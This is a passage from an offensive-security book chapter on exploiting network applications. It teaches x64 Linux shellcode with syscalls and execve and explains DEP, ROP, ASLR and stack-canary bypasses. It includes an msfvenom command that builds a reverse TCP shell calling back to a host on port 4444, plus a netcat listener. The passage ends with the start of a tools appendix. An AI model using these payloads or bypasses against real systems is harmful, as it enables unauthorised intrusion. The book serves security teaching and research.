bin -o shellcode.bin shellcode.asm $ ./test_shellcode shellcode.bin Mapped Address: 0x7fa51e860000 Shell Result: 100 The output returns 100 to the test harness, verifying that we’re successfully loading and executing the shell code. It’s also worth verifying that the assembled code in the resulting binary matches what we would expect. We can check this with the companion ndisasm tool, which disassembles this simple binary file without having to use a disassembler, such as IDA Pro. We need to use the -b 64 switch to ensure ndisasm uses 64-bit disassembly, as shown here: $ ndisasm -b 64 shellcofe.bin 00000000 B864000000 mov eax,0x64 00000005 C3 ret The output from ndisasm should match up with the instructions we specified in the original shell code file in Listing 10-12. Notice that we used the RAX register in the mov |||||||||||||||||||| |||||||||||||||||||| instruction, but in the disassembler output we find the EAX register. The assembler uses this 32-bit register rather than a 64-bit register because it realizes that the constant 0x64 fits into a 32-bit constant, so it can use a shorter instruction rather than loading an entire 64- bit constant. This doesn’t change the behavior of the code because, when loading the constant into EAX, the processor will automatically set the upper 32 bits of the RAX register to zero. The BITS directive is also missing, because that is a directive for the nasm assembler to enable 64-bit support and is not needed in the final assembled output. Simple Debugging Technique Before you start writing more complicated shell code, let’s examine an easy debugging method. This is important when testing your full exploit, because it might not be easy to stop execution of the shell code at the exact location you want. We’ll add a breakpoint to our shell code using the int3 instruction so that when the associated code is called, any attached debugger will be notified. Modify the code in Listing 10-12 as shown in Listing 10-13 to add the int3 breakpoint instruction and then rerun the nasm assembler. # Assemble as 64 bit BITS 64 int3 mov rax, 100 ret Listing 10-13: A simple shell code example with a breakpoint If you execute the test harness in a debugger, such as GDB, the output should be similar to Listing 10-14. $ gdb --args ./test_shellcode shellcode.bin GNU gdb 7.7.1 ... (gdb) display/1i $rip (gdb) r Starting program: /home/user/test_shellcode debug_break.bin Mapped Address: 0x7fb6584f3000 ➊ Program received signal SIGTRAP, Trace/breakpoint trap. 0x00007fb6584f3001 in ?? () 1: x/i $rip ➋ => 0x7fb6584f3001: mov $0x64,%eax (gdb) stepi 0x00007fb6584f3006 in ?? () 1: x/i $rip => 0x7fb6584f3006: retq (gdb) 0x00000000004007f6 in main () 1: x/i $rip => 0x4007f6 <main+281>: mov %eax,%esi Listing 10-14: Setting a breakpoint on a shell When we execute the test harness, the debugger stops on a SIGTRAP signal ➊. The reason Technet24 |||||||||||||||||||| |||||||||||||||||||| is that the processor has executed the int3 instruction, which acts as a breakpoint, resulting in the OS sending the SIGTRAP signal to the process that the debugger handles. Notice that when we print the instruction the program is currently running ➋, it’s not the int3 instruction but instead the mov instruction immediately afterward. We don’t see the int3 instruction because the debugger has automatically skipped over it to allow the execution to continue. Calling System Calls The example shell code in Listing 10-12 only returns the value 100 to the caller, in this case our test harness, which is not very useful for exploiting a vulnerability; for that, we need the system to do some work for us. The easiest way to do that in shell code is to use the OS’s system calls. A system call is specified using a system call number defined by the OS. It allows you to call basic system functions, such as opening files and executing new processes. Using system calls is easier than calling into system libraries because you don’t need to know the memory location of other executable code, such as the system C library. Not needing to know library locations makes your shell code simpler to write and more portable across different versions of the same OS. However, there are downsides to using system calls: they generally implement much lower-level functionality than the system libraries, making them more complicated to call, as you’ll see. This is especially true on Windows, which has very complicated system calls. But for our purposes, a system call will be sufficient for demonstrating how to write your own shell code. System calls have their own defined application binary interface (ABI) (see “Application Binary Interface” on page 123 for more details). In x64 Linux, you execute a system call using the following ABI: • The number of the system call is placed in the RAX register. • Up to six arguments can be passed into the system call in the registers RDI, RSI, RDX, R10, R8 and R9. • The system call is issued using the syscall instruction. • The result of the system call is stored in RAX after the syscall instruction returns. For more information about the Linux system call process, run man 2 syscall on a Linux command line. This page contains a manual that describes the system call process and defines the ABI for various different architectures, including x86 and ARM. In addition, man 2 syscalls lists all the available system calls. You can also read the individual pages for a system call by running man 2 <SYSTEM CALL NAME>. The exit System Call |||||||||||||||||||| |||||||||||||||||||| To use a system call, we first need the system call number. Let’s use the exit system call as an example. How do we find the number for a particular system call? Linux comes with header files, which define all the system call numbers for the current platform, but trying to find the right header file on disk can be like chasing your own tail. Instead, we’ll let the C compiler do the work for us. Compile the C code in Listing 10-15 and execute it to print the system call number of the exit system call. #include <stdio.h> #include <sys/syscall.h> int main() { printf("Syscall: %d\n", SYS_exit); return 0; } Listing 10-15: Getting the system call number On my system, the system call number for exit is 60, which is printed to my screen; yours may be different depending on the version of the Linux kernel you’re using, although the numbers don’t change very often. The exit system call specifically takes process exit code as a single argument to return to the OS and indicate why the process exited. Therefore, we need to pass the number we want to use for the process exit code into RDI. The Linux ABI specifies that the first parameter to a system call is specified in the RDI register. The exit system call doesn’t return anything from the kernel; instead, the process (the shell) is immediately terminated. Let’s implement the exit call. Assemble Listing 10-16 with nasm and run it inside the test harness. BITS 64 ; The syscall number of exit mov rax, 60 ; The exit code argument mov rdi, 42 syscall ; exit should never return, but just in case. ret Listing 10-16: Calling the exit system call in shell code Notice that the first print statement in Listing 10-16, which shows where the shell code was loaded, is still printed, but the subsequent print statement for the return of the shell code is not. This indicates the shell code has successfully called the exit system call. To double-check this, you can display the exit code from the test harness in your shell, for example, by using echo $? in bash. The exit code should be 42, which is what we passed in the mov rdi argument. The write System Call Now let’s try calling write, a slightly more complicated system call that writes data to a file. Technet24 |||||||||||||||||||| |||||||||||||||||||| Use the following syntax for the write system call: ssize_t write(int fd, const void *buf, size_t count); The fd argument is the file descriptor to write to. It holds an integer value that describes which file you want to access. Then you declare the data to be written by pointing the buffer to the location of the data. You can specify how many bytes to write using count. Using the code in Listing 10-17, we’ll pass the value 1 to the fd argument, which is the standard output for the console. BITS 64 %define SYS_write 1 %define STDOUT 1 _start: mov rax, SYS_write ; The first argument (rdi) is the STDOUT file descriptor mov rdi, STDOUT ; The second argument (rsi) is a pointer to a string lea rsi, [_greeting] ; The third argument (rdx) is the length of the string to write mov rdx, _greeting_end - _greeting ; Execute the write system call syscall ret _greeting: db "Hello User!", 10 _greeting_end: Listing 10-17: Calling the write system call in shell code By writing to standard output, we’ll print the data specified in buf to the console so we can see whether it worked. If successful, the string Hello User! should be printed to the shell console that the test harness is running on. The write system call should also return the number of bytes written to the file. Now assemble Listing 10-17 with nasm and execute the binary in the test harness: $ nasm -f bin -o shellcode.bin shellcode.asm $ ./test_shellcode shellcode.bin Mapped Address: 0x7f165ce1f000 Shell Result: -14 Instead of printing the Hello User! greeting we were expecting, we get a strange result, -14. Any value returning from the write system call that’s less than zero indicates an error. On Unix-like systems, including Linux, there’s a set of defined error numbers (abbreviated as errno). The error code is defined as positive in the system but returns as negative to indicate that it’s an error condition. You can look up the error code in the system C header files, but the short Python script in Listing 10-18 will do the work for us. import os |||||||||||||||||||| |||||||||||||||||||| # Specify the positive error number err = 14 print os.errno.errorcode[err] # Prints 'EFAULT' print os.strerror(err) # Prints 'Bad address' Listing 10-18: A simple Python script to print error codes Running the script will print the error code name as EFAULT and the string description as Bad address. This error code indicates that the system call tried to access some memory that was invalid, resulting in a memory fault. The only memory address we’re passing is the pointer to the greeting. Let’s look at the disassembly to find out whether the pointer we’re passing is at fault: 00000000 B801000000 mov rax,0x1 00000005 BF01000000 mov rdi,0x1 0000000A 488D34251A000000 lea rsi,[0x1a] 00000012 BA0C000000 mov rdx,0xc 00000017 0F05 syscall 00000019 C3 ret 0000001A db "Hello User!", 10 Now we can see the problem with our code: the lea instruction, which loads the address to the greeting, is loading the absolute address 0x1A. But if you look at the test harness executions we’ve done so far, the address at which we load the executable code isn’t at 0x1A or anywhere close to it. This mismatch between the location where the shell code loads and the absolute addresses causes a problem. We can’t always determine in advance where the shell code will be loaded in memory, so we need a way of referencing the greeting relative to the current executing location. Let’s look at how to do this on 32-bit and 64-bit x86 processors. Accessing the Relative Address on 32- and 64-Bit Systems In 32-bit x86 mode, the simplest way of getting a relative address is to take advantage of the fact that the call instruction works with relative addresses. When a call instruction executes, it pushes the absolute address of the subsequent instruction onto the stack as a return address. We can use this absolute return address value to calculate where the current shell code is executing from and adjust the memory address of the greeting to match. For example, replace the lea instruction in Listing 10-17 with the following code: call _get_rip _get_rip: ; Pop return address off the stack pop rsi ; Add relative offset from return to greeting add rsi, _greeting - _get_rip Using a relative call works well, but it massively complicates the code. Fortunately, the 64-bit instruction set introduced relative data addressing. We can access this in nasm by adding the rel keyword in front of an address. By changing the lea instruction as follows, Technet24 |||||||||||||||||||| |||||||||||||||||||| we can access the address of the greeting relative to the current executing instruction: lea rsi, [rel _greeting] Now we can reassemble our shell code with these changes, and the message should print successfully: $ nasm -f bin -o shellcode.bin shellcode.asm $ ./test_shellcode shellcode.bin Mapped Address: 0x7f165dedf000 Hello User! Shell Result: 12 Executing the Other Programs Let’s wrap up our overview of system calls by executing another binary using the execve system call. Executing another binary is a common technique for getting execution on a target system that doesn’t require long, complicated shell code. The execve system call takes three parameters: the path to the program to run, an array of command line arguments with the array terminated by NULL, and an array of environment variables terminated by NULL. Calling execve requires a bit more work than calling simple system calls, such as write, because we need to build the arrays on the stack; however, it’s not that hard. Listing 10-19 executes the uname command by passing it the -a argument. execve.asm BITS 64 %define SYS_execve 59 _start: mov rax, SYS_execve ; Load the executable path ➊ lea rdi, [rel _exec_path] ; Load the argument lea rsi, [rel _argument] ; Build argument array on stack = { _exec_path, _argument, NULL } ➋ push 0 push rsi push rdi ➌ mov rsi, rsp ; Build environment array on stack = { NULL } push 0 ➍ mov rdx, rsp ➎ syscall ; execve shouldn't return, but just in case ret _exec_path: db "/bin/uname", 0 _argument: db "-a", 0 Listing 10-19: Executing an arbitrary executable in shell code The shellcode in Listing 10-19 is complex, so let’s break it down step-by-step. First, the |||||||||||||||||||| |||||||||||||||||||| addresses of two strings, "/bin/uname" and "-a", are loaded into registers ➊. The addresses of the two strings with the final NUL (which is represented by a 0) are then pushed onto the stack in reverse order ➋. The code copies the current address of the stack to the RSI register, which is the second argument to the system call ➌. Next, a single NUL is pushed on the stack for the environment array, and the address on the stack is copied to the RDX register ➍, which is the third argument to the system call. The RDI register already contains the address of the "/bin/uname" string so our shell code does not need to reload the address before calling the system call. Finally, we execute the execve system call ➎, which executes the shell equivalent of the following C code: char* args[] = { "/bin/uname", "-a", NULL }; char* envp[] = { NULL }; execve("/bin/uname", args, envp); If you assemble the execve shell code, you should see output similar to the following, where command line /bin/uname -a is executed: $ nasm -f bin -o execve.bin execve.asm $ ./test_shellcode execv.bin Mapped Address: 0x7fbdc3c1e000 Linux foobar 4.4.0 Wed Dec 31 14:42:53 PST 2014 x86_64 x86_64 x86_64 GNU/Linux Generating Shell Code with Metasploit It’s worth practicing writing your own shell code to gain a deeper understanding of it. However, because people have been writing shell code for a long time, a wide range of shell code to use for different platforms and purposes is already available online. The Metasploit project is one useful repository of shell code. Metasploit gives you the option of generating shell code as a binary blob, which you can easily plug into your own exploit. Using Metasploit has many advantages: • Handling encoding of the shell code by removing banned characters or formatting to avoid detection • Supporting many different methods of gaining execution, including simple reverse shell and executing new binaries • Supporting multiple platforms (including Linux, Windows, and macOS) as well as multiple architectures (such as x86, x64, and ARM) I won’t explain in great detail how to build Metasploit modules or use their staged shell code, which requires the use of the Metasploit console to interact with the target. Instead, I’ll use a simple example of a reverse TCP shell to show you how to generate shell code using Metasploit. (Recall that a reverse TCP shell allows the target machine to communicate with the attacker’s machine via a listening port, which the attacker can use to gain execution.) Technet24 |||||||||||||||||||| |||||||||||||||||||| Accessing Metasploit Payloads The msfvenom command line utility comes with a Metasploit installation, which provides access to the various shell code payloads built into Metasploit. We can list the payloads supported for x64 Linux using the -l option and filtering the output: # msfvenom -l | grep linux/x64 --snip-- linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell We’ll use two shell codes: shell_bind_tcp Binds to a TCP port and opens a local shell when connected to it shell_reverse_tcp Attempts to connect back to your machine with a shell attached Both of these payloads should work with a simple tool, such as Netcat, by either connecting to the target system or listening on the local system. Building a Reverse Shell When generating the shell code, you must specify the listening port (for bind and reverse shell) and the listening IP (for reverse shell, this is your machine’s IP address). These options are specified by passing LPORT=port and LHOST=IP, respectively. We’ll use the following code to build a reverse TCP shell, which will connect to the host 172.21.21.1 on TCP port 4444: # msfvenom -p linux/x64/shell_reverse_tcp -f raw LHOST=172.21.21.1\ LPORT=4444 > msf_shellcode.bin The msfvenom tool outputs the shell code to standard output by default, so you’ll need to pipe it to a file; otherwise, it will just print to the console and be lost. We also need to specify the -f raw flag to output the shell code as a raw binary blob. There are other potential options as well. For example, you can output the shell code to a small .elf executable, which you can run directly for testing. Because we have a test harness, we won’t need to do that. Executing the Payload To execute the payload, we need to set up a listening instance of netcat listening on port 4444 (for example, nc -l 4444). It’s possible that you won’t see a prompt when the connection is made. However, typing the id command should echo back the result: $ nc -l 4444 # Wait for connection id uid=1000(user) gid=1000(user) groups=1000(user) |||||||||||||||||||| |||||||||||||||||||| The result shows that the shell successfully executed the id command on the system the shell code is running on and printed the user and group IDs from the system. You can use a similar payload on Windows, macOS, and even Solaris. It might be worthwhile to explore the various options in msfvenom on your own. Memory Corruption Exploit Mitigations In “Exploiting Memory Corruption Vulnerabilities” on page 246, I alluded to exploit mitigations and how they make exploiting memory vulnerabilities difficult. The truth is that exploiting a memory corruption vulnerability on most modern platforms can be quite complicated due to exploit mitigations added to the compilers (and the generated application) as well as to the OS. Security vulnerabilities seem to be an inevitable part of software development, as do significant chunks of source code written in memory-unsafe languages that are not updated for long periods of time. Therefore, it’s unlikely that memory corruption vulnerabilities will disappear overnight. Instead of trying to fix all these vulnerabilities, developers have implemented clever techniques to mitigate the impact of known security weaknesses. Specifically, these techniques aim to make exploitation of memory corruption vulnerabilities difficult or, ideally, impossible. In this section, I’ll describe some of the exploit mitigation techniques used in contemporary platforms and development tools that make it more difficult for attackers to exploit these vulnerabilities. Data Execution Prevention As you saw earlier, one of the main aims when developing an exploit is to gain control of the instruction pointer. In my previous explanation, I glossed over problems that might occur when placing your shell code in memory and executing it. On modern platforms, you’re unlikely to be able to execute arbitrary shell code as easily as described earlier due to Data Execution Prevention (DEP) or No-Execute (NX) mitigation. DEP attempts to mitigate memory corruption exploitation by requiring memory with executable instructions to be specially allocated by the OS. This requires processor support so that if the process tries to execute memory at an address that’s not marked as executable, the processor raises an error. The OS then terminates the process in error to prevent further execution. The error resulting from executing nonexecutable memory can be hard to spot and look confusing at first. Almost all platforms misreport the error as Segmentation fault or Access violation on what looks like potentially legitimate code. You might mistake this error for the instruction’s attempt to access invalid memory. Due to this confusion, you might spend time debugging your code to figure out why your shell code isn’t executing correctly, Technet24 |||||||||||||||||||| |||||||||||||||||||| believing it to be a bug in your code when it’s actually DEP being triggered. For example, Listing 10-20 shows an example of a DEP crash. GNU gdb 7.7.1 (gdb) r Starting program: /home/user/triage/dep Program received signal SIGSEGV, Segmentation fault. 0xbffff730 in ?? () (gdb) x/3i $pc => 0xbffff730: push $0x2a➊ 0xbffff732: pop %eax 0xbffff733: ret Listing 10-20: An example crash from executing nonexecutable memory It’s tricky to determine the source of this crash. At first glance, you might think it’s due to an invalid stack pointer, because the push instruction at ➊ would result in the same error. Only by looking at where the instruction is located can you discover it was executing nonexecutable memory. You can determine whether it’s in executable memory by using the memory map commands described in Table 10-8. DEP is very effective in many cases at preventing easy exploitation of memory corruption vulnerabilities, because it’s easy for a platform developer to limit executable memory to specific executable modules, leaving areas like the heap or stack nonexecutable. However, limiting executable memory in this way does require hardware and software support, leaving software vulnerable due to human error. For example, when exploiting a simple network-connected device, it might be that the developers haven’t bothered to enable DEP or that the hardware they’re using doesn’t support it. If DEP is enabled, you can use the return-oriented programming method as a workaround. Return-Oriented Programming Counter-Exploit The development of the return-oriented programming (ROP) technique was in direct response to the increase in platforms equipped with DEP. ROP is a simple technique that repurposes existing, already executable instructions rather than injecting arbitrary instructions into memory and executing them. Let’s look at a simple example of a stack memory corruption exploit using this technique. On Unix-like platforms, the C library, which provides the basic API for applications such as opening files, also has functions that allow you to start a new process by passing the command line in program code. The system() function is such a function and has the following syntax: int system(const char *command); The function takes a simple command string, which represents the program to run and |||||||||||||||||||| |||||||||||||||||||| the command line arguments. This command string is passed to the command interpreter, which we’ll come back to later. For now, know that if you write the following in a C application, it executes the ls application in the shell: system("ls"); If we know the address of the system API in memory, we can redirect the instruction pointer to the start of the API’s instructions; in addition, if we can influence the parameter in memory, we can start a new process under our control. Calling the system API allows you to bypass DEP because, as far as the processor and platform are concerned, you’re executing legitimate instructions in memory marked as executable. Figure 10-8 shows this process in more detail. In this very simple visualization, ROP executes a function provided by the C library (libc) to bypass DEP. This technique, specifically called Ret2Libc, laid the foundation of ROP as we know it today. You can generalize this technique to write almost any program using ROP, for example, to implement a full Turing complete system entirely by manipulating the stack. Figure 10-8: A simple ROP to call the system API The key to understanding ROP is to know that a sequence of instructions doesn’t have to execute as it was originally compiled into the program’s executable code. This means you can take small snippets of code throughout the program or in other executable code, such as libraries, and repurpose them to perform actions the developers didn’t originally intend to execute. These small sequences of instructions that perform some useful function are called ROP gadgets. Figure 10-9 shows a more complex ROP example that opens a file and then writes a data buffer to the file. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 10-9: A more complex ROP calling open and then writing to the file by using a couple of gadgets Because the value of the file descriptor returning from open probably can’t be known ahead of time, this task would be more difficult to do using the simpler Ret2Libc technique. Populating the stack with the correct sequence of operations to execute as ROP is easy if you have a stack buffer overflow. But what if you only have some other method of gaining the initial code execution, such as a heap buffer overflow? In this case, you’ll need a stack pivot, which is a ROP gadget that allows you to set the current stack pointer to a known value. For example, if after the exploit EAX points to a memory buffer you control (perhaps it’s a VTable pointer), you can gain control over the stack pointer and execute your ROP chain using a gadget that looks like Listing 10-21. xchg esp, eax # Exchange the EAX and ESP registers ret # Return, will execute address on new stack Listing 10-21: Gaining execution using a ROP gadget The gadget shown in Listing 10-21 switches the register value EAX with the value ESP, which indexes the stack in memory. Because we control the value of EAX, we can pivot the stack location to the set of operations (such as in Figure 10-9), which will execute our ROP. Unfortunately, using ROP to get around DEP is not without problems. Let’s look at some ROP limitations and how to deal with them. Address Space Layout Randomization (ASLR) |||||||||||||||||||| |||||||||||||||||||| Using ROP to bypass DEP creates a couple of problems. First, you need to know the location of the system functions or ROP gadgets you’re trying to execute. Second, you need to know the location of the stack or other memory locations to use as data. However, finding locations wasn’t always a limiting factor. When DEP was first introduced into Windows XP SP2, all system binaries and the main executable file were mapped in consistent locations, at least for a given update revision and language. (This is why earlier Metasploit modules require you to specify a language). In addition, the operation of the heap and the locations of thread stacks were almost completely predictable. Therefore, on XP SP2 it was easy to circumvent DEP, because you could guess the location of all the various components you might need to execute your ROP chain. Memory Information Disclosure Vulnerabilities With the introduction of Address Space Layout Randomization (ASLR), bypassing DEP became more difficult. As its name suggests, the goal of this mitigation method is to randomize the layout of a process’s address space to make it harder for an attacker to predict. Let’s look at a couple of ways that an exploit can bypass the protections provided by ASLR. Before ASLR, information disclosure vulnerabilities were typically useful for circumventing an application’s security by allowing access to protected information in memory, such as passwords. These types of vulnerabilities have found a new use: revealing the layout of the address space to counter randomization by ASLR. For this kind of exploit, you don’t always need to find a specific memory information disclosure vulnerability; in some cases, you can create an information disclosure vulnerability from a memory corruption vulnerability. Let’s use an example of a heap memory corruption vulnerability. We can reliably overwrite an arbitrary number of bytes after a heap allocation, which can in turn be used to disclose the contents of memory using a heap overflow like so: one common structure that might be allocated on the heap is a buffer containing a length-prefixed string, and when the string buffer is allocated, an additional number of bytes is placed at the front to accommodate a length field. The string data is then stored after the length, as shown in Figure 10-10. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 10-10: Converting memory corruption to information disclosure At the top is the original pattern of heap allocations ➊. If the vulnerable allocation is placed prior to the string buffer in memory, we would have the opportunity to corrupt the string buffer. Prior to any corruption occurring, we can only read the 5 valid bytes from the string buffer. At the bottom, we cause the vulnerable allocation to overflow by just enough to modify only the length field of the string ➋. We can set the length to an arbitrary value, in this case, 100 bytes. Now when we read back the string, we’ll get back 100 bytes instead of only the 5 bytes that were originally allocated. Because the string buffer’s allocation is not that large, data from other allocations would be returned, which could include sensitive memory addresses, such as VTable pointers and heap allocation pointers. This disclosure gives you enough information to bypass ASLR. Exploiting ASLR Implementation Flaws The implementation of ASLR is never perfect due to limitations of performance and available memory. These shortcomings lead to various implementation-specific flaws, which you can also use to disclose the randomized memory locations. Most commonly, the location of an executable in ASLR isn’t always randomized between two separate processes, which would result in a vulnerability that could disclose the location of memory from one connection to a networked application, even if that might cause that particular process to crash. The memory address could then be used in a subsequent exploit. On Unix-like systems, such as Linux, this lack of randomization should only occur if the process being exploited is forked from an existing master process. When a process forks, the OS creates an identical copy of the original process, including all loaded executable code. It’s fairly common for servers, such as Apache, to use a forking model to service new connections. A master process will listen on a server socket waiting for new |||||||||||||||||||| |||||||||||||||||||| connections, and when one is made, a new copy of the current process is forked and the connected socket gets passed to service the connection. On Windows systems, the flaw manifests in a different way. Windows doesn’t really support forking processes, although once a specific executable file load address has been randomized, it will always be loaded to that same address until the system is rebooted. If this wasn’t done, the OS wouldn’t be able to share read-only memory between processes, resulting in increased memory usage. From a security perspective, the result is that if you can leak a location of an executable once, the memory locations will stay the same until the system is rebooted. You can use this to your advantage because you can leak the location from one execution (even if it causes the process to crash) and then use that address for the final exploit. Bypassing ASLR Using Partial Overwrites Another way to circumvent ASLR is to use partial overwrites. Because memory tends to be split into distinct pages, such as 4096 bytes, operating systems restrict how random layout memory and executable code can load. For example, Windows does memory allocations on 64KB boundaries. This leads to an interesting weakness in that the lower bits of random memory pointers can be predictable even if the upper bits are totally random. The lack of randomization in the lower bits might not sound like much of an issue, because you would still need to guess the upper bits of the address if you’re overwriting a pointer in memory. Actually, it does allow you to selectively overwrite part of the pointer value when running on a little endian architecture due to the way that pointer values are stored in memory. The majority of processor architectures in use today are little endian (I discussed endianness in more detail in “Binary Endian” on page 41). The most important detail to know about little endian for partial overwrites is that the lower bits of a value are stored at a lower address. Memory corruptions, such as stack or heap overflows, typically write from a low to a high address. Therefore, if you can control the length of the overwrite, it would be possible to selectively overwrite only the predictable lower bits but not the randomized higher bits. You can then use the partial overwrite to convert a pointer to address another memory location, such as a ROP gadget. Figure 10-11 shows how to change a memory pointer using a partial overwrite. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 10-11: An example of a short overwrite We start with an address of 0x07060504. We know that, due to ASLR, the top 16 bits (the 0x0706 part) are randomized, but the lower 16 bits are not. If we know what memory the pointer is referencing, we can selectively change the lower bits and accurately specify a location to control. In this example, we overwrite the lower 16 bits to make a new address of 0x0706BBAA. Detecting Stack Overflows with Memory Canaries Memory canaries, or cookies, are used to prevent exploitation of a memory corruption vulnerability by detecting the corruption and immediately causing the application to terminate. You’ll most commonly encounter them in reference to stack memory corruption prevention, but canaries are also used to protect other types of data structures, such as heap headers or virtual table pointers. A memory canary is a random number generated by an application during startup. The random number is stored in a global memory location so it can be accessed by all code in the application. This random number is pushed onto the stack when entering a function. Then, when the function is exited, the random value is popped off the stack and compared to the global value. If the global value doesn’t match what was popped off the stack, the application assumes the stack memory has been corrupted and terminates the process as quickly as possible. Figure 10-12 shows how inserting this random number detects danger, like a canary in a coal mine, helping to prevent the attacker from gaining access to the return address. |||||||||||||||||||| |||||||||||||||||||| Figure 10-12: A stack overflow with a stack canary Placing the canary below the return address on the stack ensures that any overflow corruption that would modify the return address would also modify the canary. As long as the canary value is difficult to guess, the attacker can’t gain control over the return address. Before the function returns, it calls code to check whether the stack canary matches what it expects. If there’s a mismatch, the program immediately crashes. Bypassing Canaries by Corrupting Local Variables Typically, stack canaries protect only the return address of the currently executing function on the stack. However, there are more things on the stack that can be exploited than just the buffer that’s being overflowed. There might be pointers to functions, pointers to class objects that have a virtual function table, or, in some cases, an integer variable that can be overwritten that might be enough to exploit the stack overflow. If the stack buffer overflow has a controlled length, it might be possible to overwrite these variables without ever corrupting the stack canary. Even if the canary is corrupted, it might not matter as long as the variable is used before the canary is checked. Figure 10-13 shows how attackers might corrupt local variables without affecting the canary. In this example, we have a function with a function pointer on the stack. Due to how the stack memory is laid out, the buffer we’ll overflow is at a lower address than the function pointer f, which is also located on the stack ➊. When the overflow executes, it corrupts all memory above the buffer, including the return address and the stack canary ➋. However, before the canary checking code runs Technet24 |||||||||||||||||||| |||||||||||||||||||| (which would terminate the process), the function pointer f is used. This means we still get code execution ➌ by calling through f, and the corruption is never detected. Figure 10-13: Corrupting local variables without setting off the stack canary There are many ways in which modern compilers can protect against corrupting local variables, including reordering variables so buffers are always above any single variable, which when corrupted, could be used to exploit the vulnerability. Bypassing Canaries with Stack Buffer Underflow For performance reasons, not every function will place a canary on the stack. If the function doesn’t manipulate a memory buffer on the stack, the compiler might consider it safe and not emit the instructions necessary to add the canary. In most cases, this is the correct thing to do. However, some vulnerabilities overflow a stack buffer in unusual ways: for example, the vulnerability might cause an underflow instead of an overflow, corrupting data lower in the stack. Figure 10-14 shows an example of this kind of vulnerability. Figure 10-14 illustrates three steps. First, the function DoSomething() is called ➊. This function sets up a buffer on the stack. The compiler determines that this buffer needs to be protected, so it generates a stack canary to prevent an overflow from overwriting the return address of DoSomething(). Second, the function calls the Process() method, passing a pointer to the buffer it set up. This is where the memory corruption occurs. However, instead of overflowing the buffer, Process() writes to a value below, for example, by referencing p[-1] ➋. This results in corruption of the return address of the Process() method’s stack frame that has stack canary protection. Third, Process() returns to the corrupted return address, resulting in shell code execution ➌. |||||||||||||||||||| |||||||||||||||||||| Figure 10-14: Stack buffer underflow Final Words Finding and exploiting vulnerabilities in a network application can be difficult, but this chapter introduced some techniques you can use. I described how to triage vulnerabilities to determine the root cause using a debugger; with the knowledge of the root cause, you can proceed to exploit the vulnerability. I also provided examples of writing simple shell code and then developing a payload using ROP to bypass a common exploit mitigation DEP. Finally, I described some other common exploit mitigations on modern operating systems, such as ASLR and memory canaries, and the techniques to circumvent these mitigations. This is the final chapter in this book. At this point you should be armed with the knowledge of how to capture, analyze, reverse engineer, and exploit networked applications. The best way to improve your skills is to find as many network applications and protocols as you can. With experience, you’ll easily spot common structures and identify patterns of protocol behavior where security vulnerabilities are typically found. Technet24 |||||||||||||||||||| |||||||||||||||||||| NETWORK PROTOCOL ANALYSIS TOOLKIT Throughout this book, I’ve demonstrated several tools and libraries you can use in network protocol analysis, but I didn’t discuss many that I use regularly. This appendix describes the tools that I’ve found useful during analysis, investigation, and exploitation. Each tool is categorized based on its primary use, although some tools would fit several categories. Passive Network Protocol Capture and Analysis Tools As discussed in Chapter 2, passive network capture refers to listening and capturing packets without disrupting the flow of traffic. Microsoft Message Analyzer Website http://blogs.technet.com/b/messageanalyzer/ License Commercial; free of charge Platform Windows The Microsoft Message Analyzer is an extensible tool for analyzing network traffic on Windows. The tool includes many parsers for different protocols and can be extended with a custom programming language. Many of its features are similar to those of Wireshark except Message Analyzer has added support for Windows events. |||||||||||||||||||| |||||||||||||||||||| TCPDump and LibPCAP Website http://www.tcpdump.org/; http://www.winpcap.org/ for Windows implementation (WinPcap/WinDump) License BSD License Platforms BSD, Linux, macOS, Solaris, Windows The TCPDump utility installed on many operating systems is the grandfather of network packet capture tools. You can use it for basic network data analysis. Its LibPCAP development library allows you to write your own tools to capture traffic and manipulate PCAP files. Technet24 |||||||||||||||||||| |||||||||||||||||||| Wireshark Website https://www.wireshark.org/ License GPLv2 Platforms BSD, Linux, macOS, Solaris, Windows Wireshark is the most popular tool for passive packet capture and analysis. Its GUI and large library of protocol analysis modules make it more robust and easier to use than TCPDump. Wireshark supports almost every well-known capture file format, so even if you capture traffic using a different tool, you can use Wireshark to do the analysis. It even includes support for analyzing nontraditional protocols, such as USB or serial port communication. Most Wireshark distributions also include tshark, a replacement for TCPDump that has most of the features offered in the main Wireshark GUI, such as the protocol dissectors. It allows you to view a wider range of protocols on the command line. |||||||||||||||||||| |||||||||||||||||||| Active Network Capture and Analysis To modify, analyze, and exploit network traffic as discussed in Chapters 2 and 8, you’ll need to use active network capture techniques. I use the following tools on a daily basis when I’m analyzing and testing network protocols. Canape Website https://github.com/ctxis/canape/ License GPLv3 Platforms Windows (with .NET 4) I developed the Canape tool as a generic network protocol man-in-the-middle testing, analyzing, and exploitation tool with a usable GUI. Canape contains tools that allow users to develop protocol parsers, C# and IronPython scripted extensions, and different types of man-in-the-middle proxies. It’s open source as of version 1.4, so users can contribute to its development. Technet24 |||||||||||||||||||| |||||||||||||||||||| Canape Core Website https://github.com/tyranid/CANAPE.Core/releases/ License GPLv3 Platforms .NET Core 1.1 and 2.0 (Linux, macOS, Windows) The Canape Core libraries, a stripped-down fork of the original Canape code base, are designed for use from the command line. In the examples throughout this book, I’ve used Canape Core as the library of choice. It has much the same power as the original Canape tool while being usable on any OS supported by .NET Core instead of only on Windows. Mallory Website https://github.com/intrepidusgroup/mallory/ License Python Software Foundation License v2; GPLv3 if using the GUI Platform Linux Mallory is an extensible man-in-the-middle tool that acts as a network gateway, which |||||||||||||||||||| |||||||||||||||||||| makes the process of capturing, analyzing, and modifying traffic transparent to the application being tested. You can configure Mallory using Python libraries as well as a GUI debugger. You’ll need to configure a separate Linux VM to use it. Some useful instructions are available at https://bitbucket.org/IntrepidusGroup/mallory/wiki/Mallory_Minimal_Guide/. Network Connectivity and Protocol Testing If you’re trying to test an unknown protocol or network device, basic network testing can be very useful. The tools listed in this section help you discover and connect to exposed network servers on the target device. Hping Website http://www.hping.org/ License GPLv2 Platforms BSD, Linux, macOS, Windows The Hping tool is similar to the traditional ping utility, but it supports more than just ICMP echo requests. You can also use it to craft custom network packets, send them to a target, and display any responses. This is a very useful tool to have in your kit. Netcat Website Find the original at http://nc110.sourceforge.net/ and the GNU version at http://netcat.sourceforge.net/ License GPLv2, public domain Platforms BSD, Linux, macOS, Windows Netcat is a command line tool that connects to an arbitrary TCP or UDP port and allows you to send and receive data. It supports the creation of sending or listening sockets and is about as simple as it gets for network testing. 